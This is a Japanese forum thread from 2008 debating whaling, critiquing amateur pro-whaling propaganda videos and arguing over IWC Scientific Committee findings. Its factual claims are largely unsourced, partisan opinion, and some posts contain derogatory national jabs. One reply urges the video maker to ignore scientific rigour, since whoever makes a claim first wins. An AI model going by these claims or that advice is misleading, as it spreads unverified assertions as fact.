　それに対して答を備えておいた方が良いかも。
　(むしろ、ビデオ作成の腕を生かして、反捕鯨クン達が持ち出してるいくつかの条約や
　憲章に照らしても、日本は違法ではないってビデオを作成してくれると効果的って
　時期に来てるような気がします)

■「ロープにはブイが付いていて、あとでちゃんと回収している。薬品は酢やオレンジ
　ジュース以上の刺激や毒性は無い」とか言ってくることも考えられます。
　(といっても、酪酸の毒性解説とかを入れてもビデオがくどくなっちゃうでしょうしねぇ…)

■「『船長が自分だけ防弾ジャケット』と何故言える?」と来る可能性あります。
　疑問形にはされているようですが、推測としても根拠が無いとされると弱い。

■「捕鯨船に乗り込んだ二人は、文書を手渡したかっただけだ。すぐ退去できなかった
　のは拘束されて人質にされたからだ」と、あっちは言えるわけですので、「着替えまで
　携行して乗り込んできてた」というのも入れたほうが良さげ。

・「他愛も無いいたずら」が「環境保護活動か?」という指摘はナイスですね。

・外相の「公海」発言指摘も、これも良いですねぇ。

・「捕鯨船側から少し反撃されただけで」をどういう英文にするかは分かりませんが、
　反撃というよりは、「警告」「威嚇」に当たる語を使われた方が良いかと。
　また、これに続く場面は、知らない者が見たら「実際に日本が銃撃した」としても全然違和
　感の無い出来になってますね。日本側は一発の銃弾も使っていないことは、はっきりさせ
　ておく方が良いと思われます。(他のビデオで分かるだろ、は危険です)

・IWCでのシーシェパ非難決議を伝える画面だけは、もちょっと長く映してもいいのでは。
　「もちろんオーストラリアもである」がちょっとの間しか見えない。

・環境「破壊」テロリストという呼び方が、割と最初の方から頻出してますが、どう破壊してる
　のかの指摘(ロープと瓶)がビデオのかなり最後の方にしか出てないのは辛いですね。

・二人の環境大臣のシーシェパやグリピとの繋がりを言ってる場面ですが、
　やはりこれの前に少しでもグリピのテロ志向も、ちょっとは触れておかないと論旨
　不明瞭っぽいです、「知らない者」視点では。

・最後のメッセージ「オーストラリアに未来はない」ですが、そこまで大きなこと言われても
　論理の飛躍感が漂います。「暴力肯定の蛮族であり続ける」くらいなら分かりますが…
　なお、環境破壊(テロリスト)というのはシーシェパのことを指してはいるのでしょうが、
　オーストラリアの環境破壊についても少々指摘し、真に環境保護なんて目指してない
　シーシェパの姿と絡めて見せておけば、「未来はない」の唐突感も和らぐかも。

日本人が知らない「日本売り」や「ジャパンバッシング」？連日、豪州のテレビを賑わすトップニュースとは
公開：2008年03月28日？:00？
　日本が報道される世界のトップニュースを、日本人は自ら見ることができない。「調査」と称した捕鯨で、
世界中の顰蹙を買う日本。世界有数の自殺大国でありながら、精神病患者を病人と認めない日本。
日銀総裁人事をはじめ、すべての重要問題を先送りにする日本。「JAPAiN」（痛々しい日本）といわれて孤立する日本には、
もはや誰も振り向かなくなるかもしれない。

「あなたは日本人ですか？」
「そうです」
「それじゃ、あなたを調査するために殺します」「バーン、バーン」

　指をピストルの形にしたインタビュアーは、そう言って、日本人観光客に銃を撃つ格好をした。
日本人観光客は困ったような顔をして、笑いながら去っていく。
　ここは、オーストラリアの国際空港。豪州の大手テレビ局によって、日本人観光客を狙った、
こんな突撃取材が行われている。

続く↓
http://moneyzine.jp/article/detail/40432?p=1

豪州テレビ「あなたは日本人ですか？」「そうです」「調査するために殺します」「バーン、バーン」
http://namidame.2ch.net/test/read.cgi/news/1206708686/

>>113

4 名前： ネットカフェ難民(愛知県)[] 投稿日：2008/03/28(金) 21:52:29.66 ID:vVl7HlsQ0
「あなたは日本人ですか？」
「いえ、増えすぎたカンガルーですけど、なにか？」
「…」

>>112
なるほど。色々と参考になります。
カチンときた勢いで作ったので、嫌味が強いかなあ、とは自分でも思ってましたけどね。
もう少し他の意見とかを見て、V1.1への修正を検討してみます。
音楽とのタイミングの兼ね合いもあるから難しいけど。
英語への翻訳は自分では出来ないので、英語版作成の際には協力が必要になりますが。

http://video.google.com/videoplay?docid=-845461387975920288&hl=en
　
反捕鯨の本音です。

伝わらない情報は情報ではありません。

テロップはきちんと読める速度・秒数で出しましょう。
色だの、動きだの、見掛けのオシャレに走りすぎて
肝心の情報が伝わらないのでは本末転倒です。

テロップを出す時の基本は、
カツゼツをしっかり意識しながら、
実際に声に出して普通の速度で音読してみる。
さらに読み始める前と、読み終わった後に一拍置く。
この合計尺が、そのテロップの適正な表示秒数となります。

そして読み易いように、背景に溶け込まない色をセレクトしてください。
縁が付けられるのなら付けましょう。
もっとも見やすいのは、白地に黒縁取り、もしくはその反対の黒字に白縁取りです。

一時停止して読んだり、何度も繰り返し見たりしてくれる熱心な人だけを相手にするならともかく、
特に興味のない一見さんに興味を持ってもらうためには、非常に大事な基本です。

今の所、神動画と絶賛されるような素晴らしい作品でも
残念ながらこの基本が守られている事はほとんどないようです。

ぜひこれを取り入れて、よりクオリティの高い動画を作って頂きたいと思います。

ん？
広告代理店？
自分でしごとすれば？
金もらってw

そんなに突っかかることか?

＞もっとも見やすいのは、白地に黒縁取り、
＞もしくはその反対の黒字に白縁取りです。
これってテレビ向けの話だよね。
確かにテレビ番組の字幕はどれもこの基本が守られているよ。
でも、映画のテロップやトレーラーに挿入されるテロップも
その法則に則ってるかというと必ずしも･･･だよね
だから、もっと伝わるように工夫しろの一言で十分だと思われ

でも貴重なご意見なので、また新作が投下されたときは、
技術的な側面からのご意見よろしくお願いします

>>117

>もっとも見やすいのは、白地に黒縁取り、もしくはその反対の黒字に白縁取りです。

PowerDirector3を使ってるんですが、すみません。それ出来ないんです。
テロップに関しては自分の思うような融通が利かないので。
仕方がないので、解像度低下を考慮に入れて代わりに厚めの影と背景に埋もれないよう色を付けています。

>>120
＞これってテレビ向けの話だよね。
＞確かにテレビ番組の字幕はどれもこの基本が守られているよ。
＞でも、映画のテロップやトレーラーに挿入されるテロップも
＞その法則に則ってるかというと必ずしも･･･だよね

テレビのみならず、映画も含めての基本です。
最近はレンタルビデオの普及によって映画のトレーラーやテロップもだいぶ改善されてきています。
一部、縁なし白地で字幕を出すものもありますが
それは昔ながらの習慣に漠然と従っているだけで、なにか深い理由が有るわけではないですよ。
ので、それを見習う必要もないと思います。

>>121
私のレスは、特定の人に向けたものというわけではなく、
頑張って動画を作ってくれている全員へのアドバイスになればと思って投下したものなので
そんな気にしないでくださいね。環境によって出来る事出来ない事は当然あるでしょうし。

今日の朝日の朝刊に韓国の捕鯨がピンチって書いてあった
密漁してたのが国際的に批判されて政府が取り締まりを強化したんだって

韓国ざまあｗ

>>122
参考になります。

いろいろなサイトを見ていてきがついたのだけれど、鯨が漁業の５倍から
６倍の魚を食っているから、人間の食糧事情が圧迫されているという言い方、
外国人相手の議論ではやめといたほうがいいね。

そうかもね。>>126

・食物としての「馴染み」が、海産物よりは畜肉って連中には、どうしても訴求力
　が弱く、その分詭弁の印象を与える確率が上がる。
・鯨が食べたとしても、それだけをもって魚の個体数減少に直結と言える根拠は
　薄弱と言われても、それを崩せるデータが多分無い。
　また、それで何億何十億匹もいる魚が減少するなら、多くても数十万匹である
　鯨を獲ることはなおまずいだろうとされかねない。

とか考えられるね。

むしろ、シロナガスやナガスの個体数回復(餌獲得の得易さに左右される)を、
同じ髭鯨類のミンクが阻害している可能性指摘のがマシかも。

Whales, Kangaroos and Racist Australia
http://jp.youtube.com/watch?v=zv9f0mr9514

音楽が合ってる

http://jp.youtube.com/watch?v=vyBvB0B8x6M

これ作ったecoterrorismさん、気持ちは分かるけれども
イスラムに手は出さない方がいいよ。
彼等はアメリカの陰謀に乗せられた可能性もあるからね。
それにイスラム世界ではまだけっこう親日派がいるし、敵にしたくはないなあ。

>>129
なんか話がややこしくなりそうな動画だな。ｗ

http://jp.youtube.com/watch?v=zv9f0mr9514
>音楽が合ってる

小泉純一郎さんが好きな音楽だね。

ただいたずらに茶化してる感じだな。思想がみえてこない。

余計面倒なことになりそうだなｗ

>>127
>・鯨が食べたとしても、それだけをもって魚の個体数減少に直結と言える根拠は
>　薄弱と言われても、それを崩せるデータが多分無い。

問題になってる南極の場合、ミンククジラにしてもザトウクジラにしても、ナガスクジラでも、
食べるのは99％オキアミだと、オーストラリア人、ニュージーランド人は良く知ってるからね。
日本、韓国の釣り餌用、養殖魚餌用の漁業以外、直接の競合はないから、間接競合を証明しなきゃ
ならなくなるな。

オキアミをめぐって鯨と競合する魚といえば、人間が食うと腹こわすようなハダカイワシ
がほとんどというのも、南半球の英語圏人は知ってるからねえ、いままで変なこと言い過ぎて、
ずいぶん日本側損してると思います。

＞むしろ、シロナガスやナガスの個体数回復(餌獲得の得易さに左右される)を、
＞同じ髭鯨類のミンクが阻害している可能性指摘のがマシかも。

これは私もあり得る仮説と考えてたけど、国際捕鯨委員会科学委員会で壊滅的なことになってるね。
www.iwcoffice.org/_documents/ conservation/SC-59-Rep1.pdf
これの24−28ページあたり、もう日本鯨類研究所の人たち、ほとんど「生徒さん」扱いね、残念ながら。
近頃、櫻井よしこさんが、科学委員会はまともだ、そこで日本の研究は高く評価されてると書いてるけど、
どういう情報源なのか気になります。http://yoshiko-sakurai.jp/index.php/archives/684

ああ、ごめん。
１２８の『Whales, Kangaroos and Racist Australia 』
http://jp.youtube.com/watch?v=zv9f0mr9514
のことじゃなくて、
『Sea Shepherd and Islamic Jihad』
http://jp.youtube.com/watch?v=vyBvB0B8x6M
のことね。
くっつきすぎちゃって勘違いされるかもしれない。
でもecoterrorismさんの努力はかうよ。

捕鯨：環境運動連合が海上デモ　／蔚山
ttp://www.chosunonline.com/article/20080328000007

これは逆法則発動か？

>>134
＞＞むしろ、シロナガスやナガスの個体数回復(餌獲得の得易さに左右される)を、
＞＞同じ髭鯨類のミンクが阻害している可能性指摘のがマシかも。
＞これは私もあり得る仮説と考えてたけど、国際捕鯨委員会科学委員会で壊滅的なことになってるね。

そのネタ、新作に入れようとした矢先なんだが、
自重しておいた方がよさげですかね？
反捕鯨国からお呼びがかかった似非科学者が
結論ありきでイチャモンつけてるのとは違うのか？

>>137
いいよ、やっちゃえ、やっちゃえ。
科学委員会には、反捕鯨国のちょうちんがいっぱいいるし、
言ったもん勝ち。専門家の中でも、意見はいろいろあるんだから
いちいち科学的厳密性にこだわってたら、何もいえなくなる。
ただの意見より動画職人さんの方がエラいんだから、あまりここの
レスに振り回され過ぎないほうがいい。書いてる椰子だって素人なんだし。
少なくともミンク阻害説は小松氏はじめ、ICRで主張している説だし。
応援してるよ。

伝統文化というが、日本に南極海まで出かけていって鯨を調査目的で捕まえる伝統があったとは知らなかった。
合法だったら何をやってもいいの？

命は全て対等、という神道価値観では分からないこともあるんだろうよ。
連中の全てを肯定するわけじゃないが、自分達の先祖が太平洋を周る一部の鯨を絶滅させたからこそ
意地でも止めるという意志は分からないでもない。

それと大半が鯨なんかどうでも良くて反日感情先にあり、なんだろうが
それならその元をどうにかしないと争いが続くし、最終的に勝った者が正しいということになるが、いいのか？

歴史は負けた民族の価値観を潰して、淘汰させていったわけだが。
現存しない文化も沢山ある。日本古代の関東・東北もそうだな。

自分達の価値観こそが世界で唯一正しい、というのなら双方に何も言うことは無い。
勝った方が正しくなるから、それまで永久にやり合っててくれ。
この手のことを言うとどこでも総叩きにされるが、そんなに間違ったことを言ってるかね、俺は。

反捕鯨国の究極の目的はイルカも含む捕鯨の全面禁止だからな。

南氷洋から撤退した程度では批判をやめないと思う。

やつらの価値観が間違っていると言ってるわけでなくて、
間違った情報に基づいて判している、この状況が問題なんだが？
反捕鯨で金もうけをしている人間がいるのは確かだし、それが人種差別の隠れ蓑になってることも確か

てか、グリンピースやシーシェパードの言っている「反捕鯨」と、本来の意味での「鯨の保護」はまったくの無関係
本来の「鯨の保護」から考えると、やつらの商売はむしろ「害」でしかない。

>>137

英語読むのは、日本語読む場合の100倍も手間取るんで、とりあえず>>134が特筆してくれてる
24〜28ページの部分だけ読んでみたよ。

まあなんつうか、全般で言うなら別に「壊滅」ってわけでもない。査読なんてのは、突っ込み入れ
まくり、そして改善点を勧告するものでしょうから、学生さん扱いに見えるのもしょうがないでしょ
うしね。

読んだ範囲では、どのレポートに関しても、別に「箸にも棒にもかからん」と評価されているもの
はありません。それは、日本側が提供するデータ欲しさからの考慮かもしれません。
最後のまとめのとこなんて「JARPAが価値ある生データを提供してくれていることには同意する」
って調子で、確かにこれではフィールドワークの学生扱いと言えなくもない。

種間競合については、SC/D06/J19, J22, J23とかが(直接に)関連してますが、どれについての
評価も、著者の見解に別に否定も肯定も与えていないようです。
(ってまあ、分析や考察の足りなさへの「勧告」が、実質否定の意味かもしれんけど)

まあ何にせよ、種間での競合という観点は、"5.5 Synthesis"での一節、
　The Workshop noted that in the presentation of SC/D06/J26, a general
　hypothesis of inter-specific competition had been used to provide a
　framework for the analysis."
というとこからすると、それを否定するものではなく、今後も考慮に値する考え…いや、根本に
据えて扱っていくものだとしていると思われます。
ただしこれは、ミンクがナガス達を圧迫とかいうような、特定の種間についての、日本側の見解を
認める意味じゃあないわけだけど。

というわけで、ミンクがナガスの回復の邪魔云々は、可能性指摘という程度なら、現段階では
別に否定されるわけでもないけど、あまり断定的な調子だと後で困るかも。
また、今回は読んでないとこに思わぬ落とし穴もあるかも。

というところで、後は動画の監督さん自身で判断してください。

＞伝統文化というが、日本に南極海まで出かけていって鯨を調査目的で捕まえる伝統があったとは知らなかった。
合法だったら何をやってもいいの？
＞自分達の価値観こそが世界で唯一正しい、というのなら

曲解するから叩かれるんだよ

それぞれがそれぞれの文化を尊重すれば何も問題は起きない。
｢俺たちの文化こそ優れているんだから、おまえらが俺たちに合わせろ！｣って
言ってるのはどっちなのよ？
オージーに向かって鯨食え！獲れ！って、日本で言ってるのいるか？
んで日本が鯨獲ることで何か困るやついるのかよ？

>>140
＞それならその元をどうにかしないと
差別感情は一朝一夕で消えない。ていうか反日感情だけなのかも疑問。「ガイア教のクジラ」でも読んでくれ
＞最終的に勝った者が正しいということになるが、いいのか？
今、南氷洋から手を引くとこちらが負けることになるが、いいのか？

・・・・スーパーでクジラの肉売っていたよ
こういうゴタゴタ苦労の末に店まで来ているのかねぇ
で、クジラのお肉１００ｇ６８０円でした。
牛肉でもけっこう高級な部類のお値段・・・
私は買いませんねぇ特に食べたいとも思わない

まぁ反対する気は無いから　がんばってくださいね。　とだけ言う

だからこんなもん見せてオージー含め世界中が捕鯨OK世論になるわけないってこと。
そりゃ何も知らない人はそっちに傾く。
でも考えを反芻するにつれ「アイツがやってるからやってもいい…本当にそれでいいのか……」と考えるようになる。
長期的に見ると、思慮深く道徳がある国ほど後々反発を招くぞ。

日本人は蚊を殺すとき何も感じないが、野良猫を殺すときは罪悪感がある。
なぜ伝統文化を大切にしているのか。
その辺を考えないと。

捕鯨問題の場合、国内パブリシティーと国外PRの基本コンセプトがまったく違う
ということに注意する必要がありますね。

海外PRの場合でも、1990年代から2000年代初期の、海外一般消費者向けのPRと、
外国水産官僚、関係政治家へのアプローチ、現在の、知識水準が大幅に向上した
国外一般へのアピールでは全然違います。

たとば、「鯨が大量に魚を食っている！」ということをビジュアルに表現するために、
以前は腹を割いた鯨の中から、大量の巨大イカや大きな魚が出てきた写真を日本側
は使ってきたわけですが、これを今やったら、担当者ははずされるでしょうね。

海外で鯨に関心を持ってる人たちは、巨大イカ（深海産）や大型の成魚を食べる
のは、歯のあるマッコウクジラだけで、日本はマッコウクジラを調査したり、捕鯨
したりする気はないとうことを知ってます。（マッコウクジラはかつての油取り
専用鯨種で、不味くて食用になりません。）

日本が獲りたがってる髭鯨類は、南半球ではほとんどオキアミしか食べないので、
宣伝写真としては迫力がない、そのために差し替え写真で誤摩化しのPRをやった、
ということが海外ではもうバレてるわけです。そういうところまで知ってなきゃ、
ちょっと怖くてパブリシティー・コンセプトなんか作れないです。

>>149
> 知識水準が大幅に向上した

この点に対して詳しく

詳しくは言えません。
だって「イメージ」ですから。

>>143
まず全体として、オキアミという共通の餌をめぐるミンククジラ（ゴキブリのようにいっぱい
いるby小松正之/元水産庁課長）と貴重種のナガスクジラ、ザトウクジラの競合、種間の盛衰
ということについてはですねえ、捕殺して研究する必要はまったく無く、目視、写真撮影、
バイオプシー（細胞採集）調査だけで十分ということで、少なくとも日本と日本から水産援助
の金をもらってる小国以外のIWC科学委員たちは一致しているということを確認しておく必要が
あります。

そうでないと、「殺さなくても出来る調査を殺してやった」という非難に対して、「でもちゃんと
研究成果は上がってるじゃないか」という、的外れの反論をしてることになりますから。

「殺さなくても出来る調査」ということだと、国際捕鯨委員会がその研究費の３分の１を投入し、
日本の巨額出資や船の提供とあわせて行っているIDCR/SOWERという、南極全周をめぐる
目視+バイオプシー・サンプル採取があるし、”南極海洋生物資源保存委員会(CCAMLR:カムラ)”
の傘下でおこなわれている捕鯨委員会枠外の各国共同調査や、オーストラリア、ニュ−ジーランド、
南太平洋島嶼諸国の大学や研究所の独自研究等々、いくらでもあって、そういう研究の専門
学術雑誌もあります（たとえば"Antarctic Science"）。

一応これで、水産庁、鯨研の「鯨種間競合理論」は「調査捕鯨擁護論」としては壊滅的なのですが、
もう少し続けますか？

（つづき）
まあ、日本の鯨研、水産庁主導の「研究」はとにかく「鯨を獲ること」に視野が集中して
しまっているので、鯨以外のオキアミを食べる南極圏の動物にまったく目が向かわないという、
科学者としての致命的欠陥があるのだけれど、これはすでにの>>91にある６３人のIWC
科学委員が2005年に指摘していることです。

南極研究、北極研究のビジュアルな紹介というのは、アール・ゴアもやったように、
現在世界的なインパクトがあるのですが、そういうものだと、極圏海域でいちばん
重要な食物連鎖のキーパーソンw、オキアミをめぐる捕食生物たちの生態が、各種平等
に扱われてます。オキアミ食べる鯨以外の動物というと、アザラシ各種、オットセイ、
イカ類、ペンギン、その他水鳥類と鯨以外にもいろいろあってね、こういう生態系全体
のイメージを作りながら、南極や北極の海が世界中の二酸化炭素のかなりの部分を精力的
に吸収しているということを理解するのが、現在の各国科学番組の特徴です。

そういう知識水準から見ると、ナガスが減ってミンクが増えた、ミンクが幅を利かせ
すぎるとシロナガスが増えられないからミンクを間引きしろ、というふうな、水産庁、
鯨研の「研究」から出てくる日本の主張というのは、どう見てもケチ臭すぎるのですよ。

世界経済全体に不動産金融の不確実性が与える影響というのを世界の人は議論してる
のに、郵貯資金が国内不動産金融を圧迫してどうのこうのという議論から一歩も出ら
れない業界人たちのメンタリティーね。

>>152
でもミンクの系統群追跡調査は日本以外でも実際やってる所がないんだよね。

「やってない」から「判らない」のにIWC科学委員会でRMP改善可能性を認められた
JARPAを止めろ、と言うのはおかしいよね。

地球規模の二酸化炭素の吸収量がどうのこうのいうなら、
ﾃﾒｰらも温暖化削減のための取り組みに協力しろやといいたくなるな。

イギリスじゃ、政府公用車を国産ブランドのジャガーにするか、
エコのプリウスにするかで揉めてるそうじゃないの。
EUの公用車採用案はすでにドイツが拒絶反応起こしたよな。
スルーされたドイツは車大国としての威信が相当傷ついただろうね。

我が振り省みず、エコだエコだと気取るから「エゴ」だと笑われるんだと思うよ。

将来捕鯨が再開される可能性がある限りは、

捕鯨技術の伝承、加工流通経路の確保のための調査捕鯨は必要なんじゃないでしょうか？

>>143
＞まあ何にせよ、種間での競合という観点は、"5.5 Synthesis"での一節、
＞The Workshop noted that in the presentation of SC/D06/J26, a general
＞hypothesis of inter-specific competition had been used to provide a
＞framework for the analysis."
＞ というとこからすると、それを否定するものではなく、今後も考慮に値する考え…いや、根本に
＞据えて扱っていくものだとしていると思われます。

全然まともに読んでないじゃないですかw
やっぱり水産庁が責任もってこういう基本文献は日本語訳すべきですね。

>>143
＞ただしこれは、ミンクがナガス達を圧迫とかいうような、特定の種間についての、日本側の見解を
＞認める意味じゃあないわけだけど。
＞ というわけで、ミンクがナガスの回復の邪魔云々は、可能性指摘という程度なら、現段階では
＞ 別に否定されるわけでもないけど、あまり断定的な調子だと後で困るかも。

まったく読み違えてます。
2001年に水産庁の小松政之さんがオーストラリア・ラジオでミンククジラ＝ゴキブリ発言を
したときは、とにかくミンククジラをいっぱい獲りたいということで、ああいうことになった
わけです。

それに対して、2006年のSC/D06/J26（藤瀬、畑中、大隅：「南極でナンキョクミンククジラ
個体群に起った変化とその生態学的意味」）だと、結論としてはミンククジラのほうが
次第に餌場を南下させてくるザトウクジラ、ナガスクジラに圧迫されて栄養状態が悪く
なり、脂肪の層が薄くなったし、水銀含有量が減ったのも食べた餌の総量が少なくなった
からに違いないというところを押し出してます。

これはもう、ミンクには飽きたから、ザトウやナガスを獲らせろという、今年から本格的に
始まった第II次南極調査捕鯨（JARPAII）の低意をサポートする論文です。
ご主人様の意図ぐらい、ちゃんと読まなきゃw

>>154
>でもミンクの系統群追跡調査は日本以外でも実際やってる所がないんだよね。

それは、海外の専門論文を読んでいない人にはわからないこと。

>「やってない」から「判らない」のにIWC科学委員会でRMP改善可能性を認められた
>JARPAを止めろ、と言うのはおかしいよね。

JARPAを止めろなんて言ってないですよ。
捕まえて殺す必要のない調査なんだから、殺さずにやりなさい、やり方や
統計学的方法はその気があるなら教えます、と言ってるんです。

ちゃんと、加藤さんや後藤さんはアメリカ、カナダの「反日鯨学者」wの
ところへ行って、シロナガスクジラの細胞サンプル221匹分を使い、
DNA分析の手法や、もっと大事な、統計処理ソフトウェアーの使い方
教わったみたいですよ。分析方法がわからない人が、やたらに標本の数を
集めたがるというのは、万国共通の現象だからね、わかりやすい。

>>156
>将来捕鯨が再開される可能性がある限りは、
>捕鯨技術の伝承、加工流通経路の確保のための調査捕鯨は必要なんじゃないでしょうか？

これも耳タコの議論で、英語の論文読んでるひとたちにはウンザリな話です。
国際捕鯨委員会科学委員会季刊誌の先号だと、ノルウェーの新しい鯨瞬殺法の
紹介記事が出てます。

鯨に銛を打ち込んでも、死ぬまでにずいぶん時間がかかって、これが現在
世界共通の屠殺倫理にひっかかるというのが、穏健派でも気にかけていた
もんだいだったのですね。

それで、捕鯨国ノルウェーとしては、頭のちょっと下、中枢神経がまとまって
いるところにライフル弾を撃ち込んでいわば麻酔状態にして苦しみを感じさせずに
捕鯨するという手法を開発しましたです。

こういうふうに、捕鯨の技術も変化してゆくわけですから、加工流通も
含めて、伝わってきたものを保全する必要があるという主張は、説得力が
弱いでしょう。保全するのは生態系、種の多様性あるいは本当に伝統的な
文化であって、中途半端な産業技術じゃあないはずです。

>>159
＞それは、海外の専門論文を読んでいない人にはわからないこと。

事実本当に「やってる」のならば、ミンクの系統群の実態、冬場の行動が
掴めてる筈なんだけどねw
それが「解らない」といってる以上、「やってない」という事です。

＞JARPAを止めろなんて言ってないですよ。
＞捕まえて殺す必要のない調査なんだから、殺さずにやりなさい、やり方や
＞統計学的方法はその気があるなら教えます、と言ってるんです。

RMP改善に必要な調査が非致死で出来るのならば、日本にそのやり方を教えるまでもなく
出来るといってる側自身でやればいいだけだよね。
というか、「やってない」からこそ「その方法でやりなさい」と言ってる訳だw
「やってる」のならば「もう必要ないから止めなさい」と言えばいいだけ。

＞ちゃんと、加藤さんや後藤さんはアメリカ、カナダの「反日鯨学者」wの
＞ところへ行って、シロナガスクジラの細胞サンプル221匹分を使い、

またシロナガスの例出して誤魔化そうとしてる・・・w
系統群の調査が必要なのはミンクだよ？
で、ミンクについては「非致死で出来る！！」と言ってる連中が実際自分達で
系統群把握の為の追跡調査を「やってない」から「わかってない」が現状なんだよ。

多分同一人物だと思うけど、貴方3週間ぐらい前から色んなスレで嘘吐き通しだねw

>>160
将来鯨の数が増えて、「鯨とってもいいよ」となったとき、捕鯨船もなく、
砲手もいない状態じゃ結局捕鯨は絶滅しちゃうんじゃないの？

それはちょっとズルイんじゃないでしょうか？

>>162
その人、ID:PqVAqGBR0はだいぶ前から嘘吐きまくってる反捕鯨さんですからw

「ちょっとズルイ」ぐらいはお手の物ですよ。

>>161
>事実本当に「やってる」のならば、ミンクの系統群の実態、冬場の行動が
>掴めてる筈なんだけどねw

生態系の研究なんてことに、あなたはまったく興味がない人だということはわかります。
ミンククジラにしても、シロナガスクジラにしても、個体群生態の基本、系（統）群は
部分的にわかっているというのが現状です。そのためには各地の、多数の細胞サンプル
を統合する必要があります。各地、各国の細胞サンプルの所在地は専門学会に知られて
います。

ホッキョククジラ、タイセイヨウセミクジラのように、全体の系統群（ストック）
構造が解明されると、個別のデータが統合されて、捕獲可能数シミュレーションが
コンピュータで何万通りもくりかえされ、IWCで年間捕獲可能数あるいは5年間の
通算捕獲可能数が提示されます。（タイセイヨウセミクジラの場合、当然のことながら
ゼロになるのがわかっているのでIWCではやってないだけです）

南極のミンククジラも、76万頭いるとか、100万頭いるとか、言われても、それが
どういうグループに分かれて生殖活動をやっているのかわからなければ、捕獲可能数は
ゼロです。獲りたければそういう構造を調べようとするはずなのだけれど、日本には
１８年間の調査期間で、そういうことをやろうという気がまったく無かったのが
問題なのです。

なぜかというと、本当は商業捕鯨なんかやりたくないからだ、というのが最近
各国に理解されてきた事情のようです。進んで民営化したがる役人や外郭団体
なんていないですからね。

>>164
>なぜかというと、本当は商業捕鯨なんかやりたくないからだ、というのが最近
>各国に理解されてきた事情のようです。進んで民営化したがる役人や外郭団体
>なんていないですからね。

ＩＷＣでさっさと商業捕鯨再開すれば良いじゃない。

>>164
＞ミンククジラにしても、シロナガスクジラにしても、個体群生態の基本、系（統）群は
＞部分的にわかっているというのが現状です。

だから「やってない」んでしょ？
ミンクに関してバイオプシーや発信機・外見識別での系統群追跡調査を
「やってる」証拠は何処に？貴方、もう十回近く訊かれてるんじゃないかなw

＞ホッキョククジラ、タイセイヨウセミクジラのように、全体の系統群（ストック）
＞構造が解明されると

だから、個体数が多く、外見識別もし難いミンクに関しては解明されてないんでしょ？
もう何年も前から「非致死で出来る！！」と言いながら「やってない」から
「わかってない」のが現状なんでしょw

＞南極のミンククジラも、76万頭いるとか、100万頭いるとか、言われても、それが
＞どういうグループに分かれて生殖活動をやっているのかわからなければ、捕獲可能数は

今必要なのは推定生息数だけ、じゃなくて系統群実態と冬場の生態でしょ？
何故色んな研究機関が「やってる」のにも拘らず「わからない」状態なの？
ホントは「やってない」からでしょ？

＞生態系の研究なんてことに、あなたはまったく興味がない人だということはわかります。

確かに私が興味を持ってるのは嘘吐き反捕鯨の思考と生態のみ、ですねw
貴方が一度でも「やってる証拠」を示せれば黙って差し上げますからw

ノルウェーが要求している「目視によるミンク鯨の生息数調査」を
イギリスが拒否している件は、その後進展あるのかい？
>>164

>鯨に銛を打ち込んでも、死ぬまでにずいぶん時間がかかって、これが現在
>世界共通の屠殺倫理にひっかかるというのが、穏健派でも気にかけていた
>もんだいだったのですね。
>
>それで、捕鯨国ノルウェーとしては、頭のちょっと下、中枢神経がまとまって
>いるところにライフル弾を撃ち込んでいわば麻酔状態にして苦しみを感じさせずに
>捕鯨するという手法を開発しましたです。

「世界共通の屠殺倫理」というのは、動物の痛みが分かる人が作りあげるもののようでｗ
冗談は置いといて、人間の話すると薬物注射が一番人道的だってのはもう過去の話だよ。
アメリカの死刑執行についての論文も読んでおいでｗ

>>166
>だから「やってない」んでしょ？
>ミンクに関してバイオプシーや発信機・外見識別での系統群追跡調査を
>「やってる」証拠は何処に？貴方、もう十回近く訊かれてるんじゃないかなw

The Journal of Cetacean Research and Management の各年特集号で各国の
調査が一覧表になってるから見なさいと、何度も言ってるじゃないですかw

毎年何百も何千もある項目から、いちいちナンキョクミンククジラの発信器、
バイオプシー調査だけ取り出して書き出せなんてことは、日本の納税者なら
鯨研に依頼すべきことだな。

ついでに言っておくと、各国調査一覧表にはIWC／SOWERの調査は掲載してない
ですからね、これはSOWERに関する論文を探して読む必要があります。

>>167
>ノルウェーが要求している「目視によるミンク鯨の生息数調査」を
>イギリスが拒否している件は、その後進展あるのかい？

IWCが停止勧告を出してる沿岸捕鯨をノルウェーが続ける限り、通常なら認めるべき
自国経済水域内での非致死調査を許可しないというのは、現在の国際法実行の
スタンダードでしょうね。

イギリスが商業捕鯨モラトリアムを支持した主な理由の一つが、鯨の資源状態に対する知識の
不十分さにあった。しかし今、イギリスは北東大西洋のミンククジラの推定資源量を更新する
作業を意図的に妨害している。
イギリスはこれまで、自国の経済水域におけるミンククジラの目視調査をノルウェーの調査船に
認めてきた。だが今年の６月２７日、調査船が出航するその日に許可を撤回してきた。
調査は８月７日まで行なわれる予定である。

さらに７月には、イギリスの水域で鯨の目視調査をするはずだったフェロー諸島の調査船も拒否され、
デンマーク政府は抗議した。

デンマーク政府のIWCコミッショナーで、IWCの副議長でもあるヘンリク・フィッシャー
（Henrik Fischer）は国内紙のRitzauに、このニュースは幾分驚きをもって受け止めら
れていると語った。

「必要性はある」
イギリス政府のIWCコミッショナーであるリチャード・コーアン（Richard Cowan）は、
調査船への許可を取り消した後、
「そもそも最初から許可など与えるべきではなかったのだ」と我々に語った。

イギリスは目視調査の価値を認めないのかと聞かれると、「調査の必要性は否定しない」
と彼は答えた。また、モラトリアムに法的に異議申し立てをしているノルウェーが、
自身で捕獲枠を設定する権限がある事は認めた。

彼によると、協力を取りやめる決定は、ノルウェーがミンククジラの製品の輸出を再開
すると決定した事への対抗として、漁業相のモーリーが決めたという。

ノルウェーの海洋調査局の調査部長アスムンド・ビョーダル（Asmund Bjordal）は
「イギリスの180度転換は、驚くべきことであり、非常に残念だ」と語り、イギリスと
ノルウェーは過去100年以上、海洋調査で親密に協力してきたことを指摘した。
「だから、イギリスが共有の海洋生態系や海洋資源に対するノルウェーの調査を妨げるのは
狭量だと思う」と彼は言う。

ノルウェー外務省のスポークスマンであるカーステイン・クレプスヴィク（Karstein
Klepsvik）も「科学的な最良の推定頭数を得る事は多くの人の利にかなうことだ」と
７月６日に国内紙のFiskeribladetで語り、遺憾の意を表明した。

「捕獲量を増やす」
だがモーリーは強硬にも、ノルウェーを非難しようとした。

彼は、「イギリスは、国際法を無視しようとする(*1)ノルウェーの試みを遺憾に思う」と
６月３０日付けのガーディアン紙に語り、ノルウェーが調査結果をもとに、もっと多くの
ミンククジラがいると主張して捕獲量を増やすかもしれないと言う。目視調査は、鯨保護
の観点にとっては重要でないともモーリーは言う。

